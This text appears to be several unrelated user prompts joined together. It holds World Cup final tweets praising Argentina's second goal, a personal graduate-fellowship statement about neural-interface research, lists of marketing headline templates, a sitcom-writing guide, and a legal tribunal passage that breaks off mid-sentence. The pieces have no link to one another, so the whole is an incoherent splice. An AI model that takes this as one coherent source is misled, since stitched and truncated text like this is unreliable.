just beautiful ????????. #Yearofthegoat 15:36:40.0000000\nBeautiful goal Argentina 15:36:04.0000000\nWhat a beautiful goal by Argentina Jesus Christ 15:36:09.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:19.0000000\nBeautiful goal. ??? Fantastic. #ArgentinaVsFrance #FIFAWorldCup #FIFAWorldCupFinal 15:36:13.0000000\nBeautiful goal by Argentina 15:36:10.0000000\nBeautiful goal?????? #ArgentinaVsFrance 15:36:10.0000000\nBeautiful goal from Argentina. 15:36:15.0000000\nWhat a beautiful goal! #ArgentinaVsFrance 15:36:08.0000000\nFucking beautiful SECOND GOAL\'\'LEGGGOOO ARGENTINA ???????? 15:36:55.0000000\nWhat a beautiful goal!!!! #ArgentinaVsFrance 15:36:40.0000000\nBeautiful goal! Just beautiful…. #ARGFRA #WorldCupFinal 15:36:06.0000000\nARGENTINA WHAT A BEAUTIFUL GOAL!!! 15:36:24.0000000\nBeautiful Goal!!!! #ArgentinaVsFrance #FIFAWorldCup #Messi??day 15:36:39.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:57.0000000\nWhat a beautiful goal damnnnn ?? Go on Argentina!!!! 15:36:00.0000000\n2-0! What a beautiful goal! ?? #FIFAWorldCup #ArgentinaVsFrance 15:36:33.0000000\nWhat a beautiful goal #ARGFRA 15:36:11.0000000\nThat was terrific! \'\'That was absolutely beautiful! \'\'This goal was fully deserved!!\'\'#FIFAWorldCupFinal #ArgentinaVsFrance #Messi?? 15:36:25.0000000\nBeautiful fucken second goal by Argentina hahahaha omg that was a team goal 15:36:57.0000000\nDamn that was a beautiful sequence for the 2-0 Argentina goal?? 15:36:29.0000000\nThat\'Was\'BEAUTIFUL FOOTBALL \'\'WWWWOOOOWWWWW\'\'Look at how they turned a France half chance to a PERFECT Argentine counter and goal!\'\'Whole French Midfield and Defense in straight shambles 15:36:59.0000000\nWhat a beautiful goal that was ???? #ArgentinaVsFrance 15:36:19.0000000\nAbsolutely beautiful goal by Argentina. Perfection. 15:36:40.0000000\nThat’s a beautiful, beautiful goal by Argentina 15:36:45.0000000\nBeautiful goal by Di Maria #ArgentinaVsFrance #FIFAWorldCup 15:36:18.0000000\nTHAT WAS A BEAUTIFUL GOAL FROM ARGENTINA 15:36:49.0000000\nwhat a beautiful goal #ARGFRA 15:36:18.0000000\nCalled it. This one goal was fucking beautiful! #ARGFRA 15:35:55.0000000\nThat goal was BEAUTIFUL #ARGFRA 15:36:19.0000000\nWhat a beautiful Argentina goal. 15:35:56.0000000\nBeautiful Argentina goal!! What a cross!!!! #FIFAWorldCup #ArgentinaVsFrance 15:36:42.0000000\nWhat a beautiful goal by Argentina. #FIFAWorldCup 15:36:55.0000000\nThat was such a beautiful goal, it was seamless and effortless. Messi has one hand on the #WorldCup trophy 2-0 #ArgentinaVsFrance #Qatar2022 15:36:53.0000000\nWhat a beautiful goal! So we’ll played by Argentina. 15:36:58.0000000\nThat was a beautiful goal!! ?? #WorldCupFinal 15:36:29.0000000\nBEAUTIFUL GOAL FROM ARGENTINA WTF 15:36:29.0000000\nYESSS WHAT A BEAUTIFUL GOAL BY ARGENTINA 15:36:29.0000000\nWhat a beautiful goal! One touch football!! Orgasmic play from Argentina ???? 15:36:50.0000000\nOh my word. Argentina deserve the trophy for that goal alone. Absolutely beautiful ?? #WorldCupFinal 15:36:30.0000000\nBeautiful goal in the run of play. Argentina is completely dominating France. 15:36:40.0000000\nThat is a beautiful goal. What a move by Argentina. #ArgentinaVsFrance #FIFAWorldCup 15:36:38.0000000\nThat’s a beautiful and perfect goal for Argentina 15:36:25.0000000\nWhat a beautiful goal, vamos Argentina!!! 15:36:55.0000000\nThat was a beautiful goal! 2-0 Argentina in the 36th minute. 15:36:50.0000000\nDI MARIA WHAT A BEAUTIFUL FUCKING GOAL ARGENTINA WHAT A BEAUTIFUL FUCKING PLAY 15:36:23.0000000\nWhat. A. Beautiful. Goal. #ArgentinaVsFrance #FIFAWorldCup 15:36:54.0000000\nBeautiful second goal for Argentina omg yesss 15:35:56.0000000\nThat was such a beautiful goal for Argentina 15:36:50.0000000\nArgentina ???? what a beautiful goal!!! 15:36:22.0000000\nChampagne football ?? Beautiful team goal ???? #ArgentinaVsFrance 15:36:29.0000000\nThat was a beautiful goal \'\'Thats a wrap France are no coming back from this 15:36:55.0000000\nBeautiful ball movement by Argentina on that goal\'\'#WorldCupFinal 15:36:59.0000000\nBeautiful second goal.\'Just beautiful #ArgentinaVsFrance #WorldCup 15:35:53.0000000\nBeautiful goal! #FIFAWorldCupFinal ???? 15:36:27.0000000\n2-0!!!!!!!!!! Argentina!!!!!!!! What a beautiful goal!!!!!!!!! ????\'#FIFAWorldCup #WorldCup 15:36:32.0000000\nWhat a beautiful goal. \'France are asleep 15:36:45.0000000\nBeautiful team goal worthy of the finals #WorldCup \'Argentina deserves to win this better team all game 15:36:57.0000000\nBeautiful goal!!! #WorldCup #ArgentinaVsFrance 15:36:27.0000000\nBeautiful goal. France have been shocking 15:35:58.0000000' -'Damian, here is an example of a application I wrote, please remember all of the details about me and my writing style:\n\nPersonal, Relevant Background, and Future Goals\nThe Matrix, the movie, inspired me as a child. Seeing Neo go into the Matrix left me filled with awe and with questions. The idea of being able to interface the human brain with virtual reality fascinated me. I found myself spending hours trying my best to find more information on the subject. However, when I couldn’t find anything about it, my curiosity intensified. What little information on the topic I did find painted the concept as science fiction, and even as an adolescent, I asked why was interfacing with the brain like they did in the Matrix impossible? As I matured, my research followed suit. I became more interested in neural interfaces. With further investigation, the question of why was it impossible? transformed into how can I make this technology real?\n My passion continued into high school, and I decided to take online neuroscience courses to help sate my hunger for more knowledge about neuroscience. During my sophomore year of high school, I gave a TEDx talk sharing my ideas on how I believed an actual virtual reality could be achieved. I thought that an electroencephalogram (EEG) could be used to read the user’s brain activity. However, I hadn’t figured out the problem of writing to the brain. Likewise, EEG would not give a high enough resolution to understand what was happening on a neuronal level. Therefore, I decided I would have to learn more about device construction to solve these problems. \nI joined my school’s FTC robotics team during my junior year of high school to gain insight into device construction. As captain, I lead our team to the state championship twice. The experiences I had there truly made me fall in love with engineering. I took the combined love of neuroscience and engineering to university, where I learned much about both the scientific method and designing medical devices. Now, I hope to take my passion for neuroscience and engineering to create neural interfaces in graduate school, building towards the device I had dreamed of when I saw The Matrix. I now understand the vast amount of cross-disciplinary innovations and advancements needed to make such a device possible. Hence, as a researcher, I want to devote my life to making them a reality. \nRelevant Research Experience: \nI chose to major in Biomedical Engineering at Worcester Polytechnic Institute due to its project-based education and academic rigor. I hoped to be able to work towards my research goals while pursuing my bachelor’s. Each class was an invaluable experience requiring one to learn the material and apply it in a project. These projects were typically group-based, so I was constantly involved in different collaborations, where I needed to take the initiative to guarantee success. I naturally assumed leadership roles in any project I participated in. While all of these experiences helped mold me into being an astute researcher and leader, one class, in particular, highlights my progress. In the course Cellular Engineering lab, I was taught how to use modern cellular and molecular biology tools. My group was tasked with designing an intervention to differentiate C2C12 cells, an immortalized cell line of mouse muscle cells. Meticulous attention to detail and extensive research was necessary for this project to succeed, or the cells would not differentiate properly. I found myself going to the lab late at night to ensure the cells’ vitality while coordinating with my groupmates to ensure the project’s success. In the end, we were commended for being the only team able to grow a functioning muscle. From this experience, my ability to do rigorous research was sharpened, and I learned how to take a leadership role in wet lab driven projects. \nIn my sophomore year, I entered the WPI Hackathon, where nearly 200 students participated. In three days, I was able to use an Arduino circuit to create a single-channel EEG machine. The EEG exceeded expectations despite the time constraint. I treasure the experience because it taught me the importance of time management.\nThere were no opportunities at my school to further my studies into neuroscience, so I continued my online neuroscience classes, delving more in-depth into neuroanatomy and computational neuroscience. Hoping to gain real research experience in neuroscience, I applied and was accepted into the 2020 summer undergraduate research program in Computational Neuroscience hosted by Carnegie Mellon University and the University of Pittsburgh. Due to the coronavirus, the internship had to be transitioned to an online format, which required me to work more independently. Despite the coronavirus and my lack of formal training in neuroscience, my independent research and preparation allowed me to thrive in a research environment. I worked in Dr. Aaron Batista’s lab under the guidance of his graduate student Erinn Grigsby where another student and I studied the impact of neuron dropping on decoder performance. By utilizing my skills in Matlab, we created three different Kalman filters and linear regression decoders. Each decoder contained different position, velocity, and velocity-position decoders to test the most robust neuron dropping. Despite the challenges presented by the coronavirus, we could virtually present our work at the Center of the Neural Basis of Cognition. Getting the chance to work in Dr. Batista’s lab was by far the most rewarding experience in my professional career. The experience enriched my ability to decipher through papers to find the pertinent information needed to complete the project. It strengthened my ability to pose a question and find an objective method to answer it. Most importantly, I gained an in-depth knowledge of how brain-computer interface decoders operate and first-hand experience developing and designing them. \nCurrent Research: \nAfter the lessons learned from my summer research experience, I aim to apply them to my current projects. I am continuing my research into brain-computer interface decoders with my summer partner, specifically investigating how factors such as modulation depth and preferred direction factor into decoder performance as neurons are dropped. We hope to see if specific neurons are essential for decoding a particular action than other neurons. For my future projects, knowledge of brain-computer interface decoders is crucial for their success. \nAs part of my senior thesis at WPI, I am a part of a team, under the guidance of Dr. Dirk Albrecht, investigating the dosing of deep brain stimulation (DBS) in disorders such as Parkinson’s Disease, dystonia, essential tremor, and epilepsy. Our primary goal is to find a method of optimizing the procedure of finding the correct dosage of frequency, modulation depth, and voltage for each unique individual. We aim to conduct this study utilizing C. elegans as a model system because of the animal’s completed connectome. Knowing the connectome may help see the underlying mechanisms that allow DBS to be an effective treatment for the previously stated diseases. We hope that by identifying the underlying mechanisms of DBS, the treatment might be optimized. With this experience, I will gain experience with imaging and stimulating neurons techniques and greater exposure to behavior analysis to support scientific conclusions.\nLastly, I am conducting a formal independent study into neural nanotransducers under the supervision of Dr. Dirk Albrecht. These transducers would be injectable and biocompatible, and they would allow for both high-resolution imaging and external modulation of neurons on a nanoscale. I hope this independent study will be a sufficient transition into the work I plan to pursue as a graduate student. Neural nanotransducers may lay the foundation for creating a minimally invasive, bidirectional neural interface and change the question I’ve asked of How into When. \nCommunity Engagement:\nAs someone who has been supported by the people in my life, I’ve always wanted to give back and encourage youth to get into STEM. As captain of the robotics team, I helped pioneer a weekend program where middle schoolers from inner-city schools could participate in our robotics meetings and create their own Lego robots. Many of these children probably would never have had these experiences due to a lack of STEM funding in their schools. In particular, one student told me that those workshops are what made her want to go to university to become an engineer. At WPI, I am a part of the Collablab, which is an entirely student-run makerspace. I helped devise creative projects to inspire people to think outside the box and pursue their own personal projects. Being a part of the Collablab has taught me that interdisciplinary approaches to projects are crucial. \nOne of my biggest passions other than neuroscience and engineering is writing. I wrote an engineering ethics case study surrounding the Florida International University bridge collapse that is used as the primary material for a new behavioral engineering ethics course. In this class, engineers are taught the ethical code and what causes people to make those decisions to prepare them better to make the right moral choices. \nWorcester is a unique and safe city, but no matter where you are, the night can be an unsafe time. I am a part of a student-run shuttle program charged with making travel at night safer for students. After three months, I was tasked with leading the group of students. During my time as coordinator, I improved the system of taking calls by students and helped modernize the system by developing an app for the program. \nI am currently building an app that would allow blind people to more easily use their mobile devices. The app works by using optical character recognition to scan the text on the screen and read it aloud. To make it more natural for the user, they would be given the option to train their voice to be used as the text to speech output. This app would also help people suffering from dyslexia because it could read aloud any passage that they would typically have trouble reading. \nFuture Goals: \n With the NSF fellowship’s help, I will continue to research neural interfaces as I pursue my Ph.D. in neuroscience. I believe that neural interfaces can be a great tool to help to further society and make the world a better place for all. After obtaining my Ph.D., I plan to found a research company dedicated to designing and building minimally invasive, high-resolution, and bidirectional neural interfaces. Many scientific advancements will be required before such a device could feasibly be made. I hope to work with other institutions to tackle those problems and further understand neuroscience with this company.\n I believe that knowledge is a power that everyone, no matter what your background, deserves. I plan to create a program to help young people of color and women enter into neuroscience and facilitate their research with my company. With the knowledge gained from my research experiences, I hope to mentor the next generation and help them to answer their questions about the world, just like those who helped me along the way.' -'"The Ultimate Guide To Crafting Killer Headlines That Sell"\n"The Secret To Writing Headlines That Captivate Your Audience"\n"The Power of a Great Headline: How to Create Click-Worthy Content"\n"The Psychology of Headlines: What Makes People Click?"\n"The Art of Writing Magnetic Headlines That Demand Attention"\n"10 Simple Formulas for Writing Headlines That Get Results"\n"The Anatomy of a Great Headline: A Breakdown of What Works"\n"The Ultimate List of Proven Headline Formulas That Get Clicks"\n"How to Write Headlines That Convert: A Step-by-Step Guide"\n"The Science of Writing Headlines That Go Viral"\n"10 Secrets to Writing Headlines That Sell Like Crazy"\n"The Ultimate Cheat Sheet for Crafting Killer Headlines That Drive Traffic"\n"How to Write Headlines That Stand Out in a Crowded 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Rich In Real Estate"\n"How To Make Money With Classified Ads"\n"How To Write Killer Classified Ads"\n"How To Write A Winning Sales Letter"\n"How To Make Your Ads Sell Like Crazy"\n"How To Create A Marketing Plan"\n"How To Create A Mailing List That Gets Results"\n"How To Create An Irresistible Offer"\n"How To Create An Ad That Sells"\n"How To Use Direct Mail To Sell Your Product Or Service"\n"How To Write A Sales Letter That Sells"\n"How To Write A Sales Page That Converts"\n"How To Use Classified Ads To Make Money"\n"How To Sell Your Products Or Services With Video Marketing"\n"How To Use Social Media To Promote Your Business"\n"How To Sell Anything To Anyone"\n"How To Write An Ad That Sells"\n"The Ultimate Sales Letter"\n"The Ultimate Marketing Plan"\n"The Ultimate Guide To Direct Mail Marketing"\n"The Ultimate Guide To Copywriting"\n"The Ultimate Guide To Writing Powerful Headlines"\n"The Ultimate Guide To Writing Sales Letters"\n"The Ultimate Guide To Making Money With Direct Mail"\n"The Ultimate Guide To Writing Ad Copy That Sells"\n"The Ultimate Guide To Selling Anything To Anyone"\n"The Ultimate Guide To Creating Killer Sales Pages"\n"The Ultimate Guide To Marketing Your Business With Video"\n"The Ultimate Guide To Using Social Media To Promote Your Business"\n"The Ultimate Guide To Creating Irresistible Offers"\n"The Ultimate Guide To Writing Persuasive Ads"\n"The Ultimate Guide To Direct Response Marketing"\n"The Ultimate Guide To Writing Killer Ad Copy"\n"The Ultimate Guide To Making Money With Classified Ads"\n"The Ultimate Guide To Creating High-Converting Landing Pages"\n"The Ultimate Guide To Writing Winning Sales Letters"\n"The Ultimate Guide To Creating Powerful Marketing Messages"\n"The Ultimate Guide To Writing Effective Email Marketing Campaigns"\n"The Ultimate Guide To Creating Successful Marketing Funnels"\n"The Ultimate Guide To Selling Your Products Or Services Online"\n"The Ultimate Guide To Using SEO To Drive Traffic To Your Website"\n"The Ultimate Guide To Writing Irresistible Product Descriptions"\n"The Ultimate Guide To Creating Compelling Infographics"\n"The Ultimate Guide To Using Storytelling In Your Marketing"\n"The Secret of Making People Like You"\n"The Ultimate Guide to [insert topic]"\n"Discover the Simple Secret to [desired outcome]"\n"How to [insert desired outcome] in Just [insert time period]"\n"Unlock the Hidden Potential of [insert topic]"\n"Are You Making These [insert number] Mistakes in [insert topic]?"\n"The Shocking Truth About [insert topic]"\n"The Top [insert number] Ways to [insert desired outcome]"\n"Get [desired outcome] in Record Time with [insert product or service]"\n"The Amazing [insert product or service] That Will Change Your Life Forever"\n"The [insert number] Secrets to [insert desired outcome]"\n"How to [insert desired outcome] Like a Pro"\n"The [insert topic] That Everyone is Talking About"\n"The [insert number] Rules for [insert desired outcome]"\n"The One Thing You Need to Know to [insert desired outcome]"\n"Why [insert topic] is the Next Big Thing"\n"Discover the Hidden Benefits of [insert topic]"\n"The [insert number] Habits of Highly Successful [insert profession or group]"\n"The [insert topic] Mistake That You\'re Probably Making"\n"The Complete Guide to [insert topic]"\n"Get [insert desired outcome] Without [insert negative aspect]"\n"The [insert number] Essential Tips for [insert desired outcome]"\n"The [insert number] Hacks to [insert desired outcome]"\n"The [insert topic] Revolution: How [insert product or service] is Changing the Game"\n"The [insert number] Secrets to [insert topic] Success"\n"The [insert topic] Strategy That Works Every Time"\n"The [insert topic] Trend That\'s Taking Over"\n"The [insert number] Steps to [insert desired outcome]"\n"The [insert number] Reasons Why [insert product or service] is a Must-Have"\n"The [insert topic] App That Everyone is Raving About"\n"The [insert number] Benefits of [insert topic]"\n"The [insert number] Things You Didn\'t Know About [insert topic]"\n"The [insert topic] Challenge That\'s Sweeping the Nation"\n"The [insert number] Secrets of [insert topic] Masters"\n"The [insert topic] Solution You\'ve Been Looking For"\n"The [insert topic] Phenomenon: Why Everyone is Obsessed"\n"The [insert number] Surprising Benefits of [insert topic]"\n"The [insert topic] Debate: What You Need to Know"\n"The [insert number] Fastest Ways to [insert desired outcome]"\n"The [insert topic] Trick That Will Change Your Life"\n"The [insert topic] Scandal That Everyone is Talking About"\n"The [insert number] Keys to [insert desired outcome]"\n"The [insert topic] Strategy That\'s Taking Over [insert industry]"\n"The [insert topic] App That Will Revolutionize Your [insert activity]"\n"The [insert topic] Myths That You Need to Stop Believing"\n"At 60 miles an hour, the loudest noise in this new Rolls-Royce comes from the electric clock."\n"The man in the Hathaway shirt."\n"Only Dove is one-quarter moisturizing cream."\n"The Guinness Guide to Oysters."\n"Pianos That Don\'t Stick."\n"If you wear a uniform, you can\'t afford not to own a Singer."\n"How to create advertising that sells."\n"Man in the Hathaway shirt becomes art collector."\n"Can You Afford This House?"\n"The woman who can\'t gain weight."\n"Don\'t be vague. Ask for Haig."\n"You don\'t have to be Jewish to love Levy\'s Rye Bread."\n"He doesn\'t wear a Benrus watch."\n"The theory and practice of selling the AG."\n"At 60 miles an hour, the loudest noise in this new Rolls-Royce comes from the electric clock."\n"The man in the Hathaway shirt."\n"Only Dove is one-quarter moisturizing cream."\n"The Guinness Guide to Oysters."\n"Pianos That Don\'t Stick."\n"If you wear a uniform, you can\'t afford not to own a Singer."\n"How to create advertising that sells."\n"Man in the Hathaway shirt becomes art collector."\n"Can You Afford This House?"\n"The woman who can\'t gain weight."\n"Don\'t be vague. Ask for Haig."\n"You don\'t have to be Jewish to love Levy\'s Rye Bread."\n"He doesn\'t wear a Benrus watch."\n"The theory and practice of selling the AG."\n"How to create advertising that sells"\n"What Everybody Ought to Know About This Stock and Bond Business"\n"How to Make Money Out of Thin Air"\n"Where to Find Uncluttered Investment Counsel"\n"This Could Be the Most Important Information You\'ll Ever Read"\n"How to Make $5,000 a Year Without Capital, Experience or Know-How"\n"The Quickest Way to Make Money Online"' -'read this Sitcome\n\nDefining the Genre\nSo, what is a situational comedy? As the sitcom cliché goes, Webster’s dictionary defines ‘sitcom’ as:\n‘a radio or television comedy series that involves a continuing cast of characters in a succession of episodes’\xa0\nSo a sitcom is simply a comedy in a situation. Frequently, this incorporates an ensemble cast of characters, who rarely change and rarely develop. The Simpsons is a sitcom which best exemplifies this lack of change as even after 30 years, the central characters are still the same age, in the same house, in the same town and even in the same clothes.\nThe situation is the place to start when writing a sitcom. The location and the cast of characters is vital to fuelling the comedy.\nSo, the ‘precinct’ or primary setting. This will be the starting point for the controlling idea of the show. When it comes to precincts there are three typical types of locations in which a sitcom can be situated.\n\\* The workplace\n\\* A home\n\\* A combination of the two\n\xa0\n1. Workplace\nBrooklyn Nine Nine uses a literal precinct in the form of the 99th Police Precinct. This is classed as a workplace situation comedy and features police officers in their various roles.\nOther examples of workplace sitcoms include the TV studio in 30 Rock, the bars in It’s Always Sunny in Philadelphia and Cheers, the basement filled with nerds in The IT Crowd, the various political buildings and offices in Veep and The Thick of it and\xa0the offices in The Office and\xa0Parks and Recreation.\nThe concept of the workplace could also be less literal and include schools, universities and colleges, as in Bad Education and\xa0Community.\xa0The casts are therefore work colleagues or a work ‘family’.\nTo create an example, a sitcom could be set in a pizzeria, which is a place of work that would allow for a central cast of pizza chefs, owners, and waiters. But it could also feature recurring characters such as customers and delivery drivers.\n\nBest Cold Opens | Parks and Recreation\n\n[![Best Cold Opens | Parks and Recreation](https://industrialscripts.com/wp-content/plugins/wp-youtube-lyte/lyteCache.php?origThumbUrl=https%3A%2F%2Fi.ytimg.com%2Fvi%2Feey-wOyTOJs%2F0.jpg) \nWatch this video on YouTube](https://youtu.be/eey-wOyTOJs)\n2. Home\nThe home precinct is demonstrated in the aforementioned eternal sitcom The Simpsons, and in a number of other shows based around where people live.\nThese types of sitcoms include Friends, New Girl, Seinfeld,\xa0Modern Family,\xa0What We Do In The Shadows and Spaced.\nThe primary location of each of these shows is a place where people live. Therefore, the casts consist of biological families or makeshift families formed of roommates or friends.\n\n3. Multiple Precincts\nThe precinct is not always the only location and almost all shows include a number of bases for the characters to interact in, both in private and public.\n\\* Frasier includes the radio station and Frasier’s apartment as the two main bases but also frequently features a coffee shop.\n\\* Friends also centres around two neighbouring apartments and a coffee shop.\n\\* The school is the meeting place of the main characters in The Inbetweeners,\xa0but the show itself rarely centres within the school. Each episode focuses more on the characters being put into a new situation such as a theme park trip, night out or work experience.\nIt is rare that a sitcom only centres on one place. But it is vital for your own sitcom writing experience that the characters have a location where they can all meet. There, they can link up to go on a variety of antics.\nHowever, a precinct doesn’t make it a sitcom. So far, all we have is a part of the situation. Unless you have comedic characters you’ve just written something more akin to a soap opera.\n\xa0\nFunny People\nA sitcom will not succeed unless it has characters who are funny. Funny can’t be the characters primary defintion though. The comedy has to come from somewhere intrinsically tied to who that character is.\nWhen writing comedic characters, Judd Apatow often starts by reading self-help books, which allow him to think psychologically about his characters and build them from flaws and insecurities. This is a good example of how even comedic characters need depth.\n\xa0\nComedic Conflict\nA basis of contradictory personalities and conflict is integral to every sitcom and to comedy in general. It is the first thing you should be considering when creating your characters in your sitcom.\nTo continue the earlier pizzeria example, it is important to create a makeshift family that all contradict each other. This may mean ensuring that one pizza chef is an Italian pizza purist, while another is an advocate of hot dog stuffed crusts, for example.\n\n\xa0\nDifferent Forms of Sitcoms\nAnother important consideration to take into account when writing a sitcom is what form it will take. This will determine how the script will be written. Forms of sitcom include:\nSingle-Camera\n\\* These are the simplest to write and follow dramatic writing conventions, as seen in Atlanta, New Girl, Gavin and Stacey.\n\\* Many shows use the single-camera form as an opportunity to create filmic episodes, giving the writer more scope to incorporate homages to other films and genres as seen in Community and Spaced.\n\\* The misleadingly named single-camera form usually uses more than one camera, but is shot without an audience.\nMulti-Camera\n\\* These are often studio shows, shot in front of a live audience.\n\\* A consideration when writing is to leave spaces between jokes to allow for audience laughter.\n\\* Examples include: Friends, Frasier, The Big Bang Theory, The IT Crowd.\nAnimated\n\\* Similarly to single-camera, the animated sitcom allows for more creativity. For example, the use of surrealist jokes. After all, anything that can be created can be drawn.\n\\* Examples include: The Simpsons, Rick and Morty, Family Guy, BoJack Horseman.\nComedic Genres\nThere are many different comedic genres within comedy. Sitcoms often use a combination of styles and genres within them.\nWatching and studying shows like those listed below will give you a good understanding of the potential breadth of genre within the crafting of a sitcom:\n\\* Mockumentary – eg. The Office,\xa0Parks and Recreation, Modern Family, What We Do In The Shadows\n\\* Wit and Wordplay – eg. Frasier, Seinfeld,\xa0How I Met Your Mother\n\\* Slapstick and Farce – eg. Fawlty Towers, Friday Night Dinner,\xa0Arrested Development\n\\* Deadpan – eg. Flight of The Conchords\n\\* Spoof and Homage – eg.\xa0Community, The Simpsons, Spaced\n\\* Satire – eg. The Thick of It, Veep, W1A, Avenue 5\n\\* Surreal – eg. BoJack Horseman,\xa0Family Guy, The Mighty Boosh\n\\* Dark Comedy – eg. Black Books, It’s Always Sunny In Philadelphia\n\\* Blue Comedy – eg. The Inbetweeners,\xa0Catastrophe\n\\* Cringe – eg. The Office, Curb Your Enthusiasm\nIt’s important always to link the genre of your sitcom to your core values and intensions. These different comedic genres can have different functions. When misapplied or inappropriate their strength can feel undermined.\n\\* For example, The Office is about the minutiae of office life and the ego of the central character desperately trying to impress the omnipresent documentary crew. So a mockumentary format is perfect for this idea.\n\\* Whilst Spaced is about\xa0a group of aimless young adults saturated in popular culture. So to have it spoof and homage other films and genres makes perfect sense.\n\xa0\nThe Sitcom Story Structure\nSitcom story structure can be viewed similarly to the scriptwriting of any television show or film,\xa0 just condensed to a 22-30 minute script. When writing a sitcom the three-act structure can be applied as with every other genre of film or TV. This isn’t a strict rule but a helpful guide to follow.\nFriends Season 1 Episode 5: The One with the East German Laundry Detergent demonstrates sitcom story structure well as it has three separate plots that all rapidly go through the three-act structure. It demonstrates how sitcoms both use the traditional film three-act structure but also have unique elements to their form as well.\n\xa0\nFirst Act:\nThe friends are all gathered in the coffee shop. During the first act, they split up into pairs, creating three separate plots with two main characters in each.\nA Plot: Ross and Rachel agree to meet and do laundry. Ross is nervous when he convinces himself that it is a date and wants it to go well. Rachel wants to do her own laundry to feel independent.\nB Plot: Chandler wants to break up with his girlfriend, Janice. Phoebe wants to break up with her boyfriend, Tony.\nC Plot: Joey wants to take his ex-girlfriend, Angela, on a date. So, he convinces Angela to go on a double date. Angela and her new boyfriend will go on a double date with Joey and Monica. However, Joey tells Monica that Bob is actually Angela’s brother, so Monica thinks she’s being set up with Bob.\nSecond Act:\nAll three subplots go through mild, comedic obstacles to achieve their goals, which were established in the first act.\nA Plot: Ross and Rachel go to the laundrette. Ross defends Rachel’s washing machine from being taken by a ‘horrible woman’. Ross proceeds to teach her to do laundry. Rachel’s laundry doesn’t go well and everything turns pink.\nB Plot: Phoebe easily breaks up with her boyfriend while Chandler is unable to break up with Janice. Chandler breaks the news to Janice and she reacts negatively.\nC Plot: Joey continues to conceal the motives behind the double date. He plants the seeds for Bob to break up with Angela by highlighting Angela’s unappealing traits while he acts as a wingman for Monica. Monica and Angela go to the bathroom together and discuss Bob.\n\nThird Act:\nA Plot: Rachel stands up to the horrible woman proving her independence and Ross and Rachel briefly kiss. Ross then bumps his head on a washing machine door. During the End Tag, Rachel is icing Ross’ head.\nB Plot: Phoebe intervenes in Chandler’s break up and Janice leaves happily. During the End Tag, Chandler runs through the streets celebrating his newfound freedom.\nC Plot: Joey confesses to Monica that Bob and Angela aren’t siblings and the two agree to break the couple up. During the End Tag, Joey and Monica return from their date, overjoyed at having “ripped that couple apart”.\nEveryone is basically in the same position as they were in when the episode started. They have gone through minor changes but are ultimately all still sat in the coffee shop together. The story has gone in a circle.\n\xa0\nOther Examples and Structures\nDan Harmon, creator of Community\xa0and\xa0Rick and Morty handily adapted the 3-act structure into a story circle. The situation is allowed to change over the course of the episode but ultimately the characters are unchanged and in relatively the same position.\nHarmon’s story circle is partially based on the “hero’s journey” and blueprints a successful structure for a sitcom.\n\n1. A character is in their comfort zone or regular situation (the precinct),\n2. But they want or need something else,\n3. They go into an unfamiliar situation or cross a threshold,\n4. The character adapts to the situation while facing trials and obstacles,\n5. Finding what they wanted, whether they like it or not,\n6. But the new situation “kicks their ass” and forces them to pay the price,\n7. Then they return to their familiar situation (the precinct),\n8. The events of the episode have changed them. In sitcom, this is rarely drastic.\nSitcoms are only 22-30 minutes long and thus the story structure is compressed and the story is almost on fast forward.\n\xa0\nWrite What You Know – But Make it Funny\nOne of the most common pieces of advice that people seem to tell you when writing is to write what you know. This is also true in sitcom, but as always, it doesn’t mean you can only write about yourself.\nTake funny situations that happen to you and put your characters in the same situation, adapt the story of your life. If you meet someone that makes you laugh – write a similar character to them in to your medieval sitcom.\n\xa0\nHow to Actually Write A Sitcom Script\nIn terms of how to write a screenplay, the writing process of a sitcom script is similar to any other script. However, there are a few ways in which a sitcom script may vary. Consider the following elements of a sitcom script:\n\\* The Cold Open – This is an opportunity to include a joke which doesn’t play into the rest of the episode as a comedic hook to draw in a new audience.\n\\* The End Tag – Very similar to the cold open but at the end of the episode. Often it is a payoff to a small set-up from earlier in the episode. But it can also be an entirely original joke involving one or two characters (Troy and Abed often serve this purpose in Community).\n\\* Use of Flashbacks/Cutaways –\xa0Family Guy, 30 Rock and most mockumentaries frequently use flashbacks and cutaways for quick punchlines and gags.\n\\* Callbacks and Running Jokes –\xa0Arrested Development\xa0is a particularly excellent series for having jokes that pop up in different iterations throughout the series. It’s a kind of language that show itself will create and repeatedly use throughout.\n\\* Fast Paced Scenes – Scenes in sitcoms are rarely long, 1-2 pages per scene or set-up is fairly standard as it keeps the pace moving quickly and you can move on to the next joke or comedic setup quickly.\n\xa0\nRe-Draft to Make It Funnier\nOnce you’ve completed your script, workshop it with people. Read it through aloud and see which bits are funny and which bits need work. Then, re-write, re-read, re-workshop your script.\nThis process will have developed it into something that, at the very least, you and your workshop find funny. If it makes you laugh, chances are it’ll make a few other people laugh.\nPerhaps more than most genres, comedy is hard to get right without finding out if it works with an audience. This is even more relevant in a sitcom. So sharing your work with others and seeing how it plays to a room (however big or small that room may be) is a vital step in the process.\n\xa0\nAnd Finally… Don’t forget to Defy Genre\nWhen writing a sitcom, remember to innovate and create a genre hybrid. Combining elements of different genres and forms can create interesting and exciting new ideas.\n\\* What We Do In The Shadows, for example, combines a house-share, a mockumentary and a world in which supernatural creatures exist.\n\\* Peep Show\xa0takes a flat share and gives the main characters internal monologues.\n\\* Community\xa0takes a number of different genres and uses them throughout the series to create different innovative episodes within the sitcom genre.\nInnovation makes the sitcom and your script stand out. This guide has given you the outline of what a sitcom is, how it works and how to write one.\nIt’s also important to know that as with everything else, these rules can and sometimes should be broken. If you want to write a sitcom about a pizzeria then do it. If you want to stray further from the norms and set this pizzeria in a medieval kingdom, that is your prerogative.\nInnovation is important and so is enjoying what you’re writing. So write what you know, and write what you like. If your enthusiasm for the idea jumps off the page, then it will be of interest to like-minded people.\nSitcoms are there to make us laugh, comfort us and re-unite us every night with characters we’ve grown to know. It’s vital that in a genre with these intentions, these elements are baked into to the writing.' -'This is part 7 of my multiple messages. I will continue to send you further messages. If you understand then please say "acknowledged".\n\nGround 5 – the award of damages in respect of the amount of the builder’s invoices\n\nThe Tribunal dealt with the builder’s invoices as follows (at [59]):\n\n…Mr Bannister provided a breakdown of costs, and I have received no break-down of costs to the contrary and he was not cross-examined in a way that causes me to reject his evidence. In the absence of any expert building evidence to the contrary, I make orders in accordance with the total contained therein. I award $29,601.69 in accordance with three invoices (Y1-Y3) for loss and damages in connection with the removal and replacement of the windows.\n\nThe appellant submitted that, in finding the appellant liable to the respondents for the amount of the three invoices from the builder, the Tribunal had:\n\nPlaced the onus of proof on the appellant in respect 